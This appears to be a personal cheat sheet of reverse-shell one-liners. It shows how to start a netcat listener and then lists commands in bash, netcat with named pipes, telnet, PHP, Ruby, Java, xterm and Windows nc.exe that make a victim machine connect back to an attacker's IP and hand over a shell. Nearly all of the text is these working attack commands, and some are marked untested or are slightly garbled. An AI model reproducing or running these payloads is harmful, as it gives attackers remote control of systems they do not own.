nc netcat reverse shell
On attack host in "local" active terminal using port 10000 for example:
nc -l -t -v 8080
i.e. attacker$ nc -l -v [ATTACK_HOST_IP] 8080
Then On "remote" victim computer - run this command
Get this to execute on the victim host ( assuming victim does not have netcat )
bash -i >& /dev/tcp/[ATTACK_HOST_IP]/10000 0>&1
for example:
bash -i >& /dev/tcp/54.161.245.60/10000 0>&1
UNTESTED variation in comments on https://bernardodamele.blogspot.com/2011/09/reverse-shells-one-liners.html
simple nc variant with two connections: ( untested ? )
nc localhost 1233 | /bin/sh | nc 127.0.0.1 1234
Netcat
rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/p 2>&1
Telnet
rm -f /tmp/p; mknod /tmp/p p && telnet attackerip 4444 0/tmp/p 2>&1
/bin/bash -i >& /dev/tcp/attackerip/4444 0>&1
Or for M$ windows:
nc.exe 192.168.100.113 10000 –e cmd.exe
As soon as that command is executed, you will have a remote shell on the "local" terminal window.
Note: This will be CLEAR TEXT!!

Python

PHP
try fd 4,5,6 if fd 3 is the TCP connection is NOT using file descriptor 3.
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
NC Netcat ( i.e. AWS Linux 2 )
nc -e /bin/sh 10.0.0.1 1234
or try this next one from Jeff Price
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
i.e.
mkfifo mypipe ; cat mypipe|/bin/bash|nc -l -p 6000 >mypipe
Java untested
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
xterm
xterm -bg black -fg white -display 10.0.0.1:1
To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001).
One way to do this is with Xnest (to be run on your system):
Xnest :1
You’ll need to authorise the target to connect to you (command also run on your host):
xhost +targetip
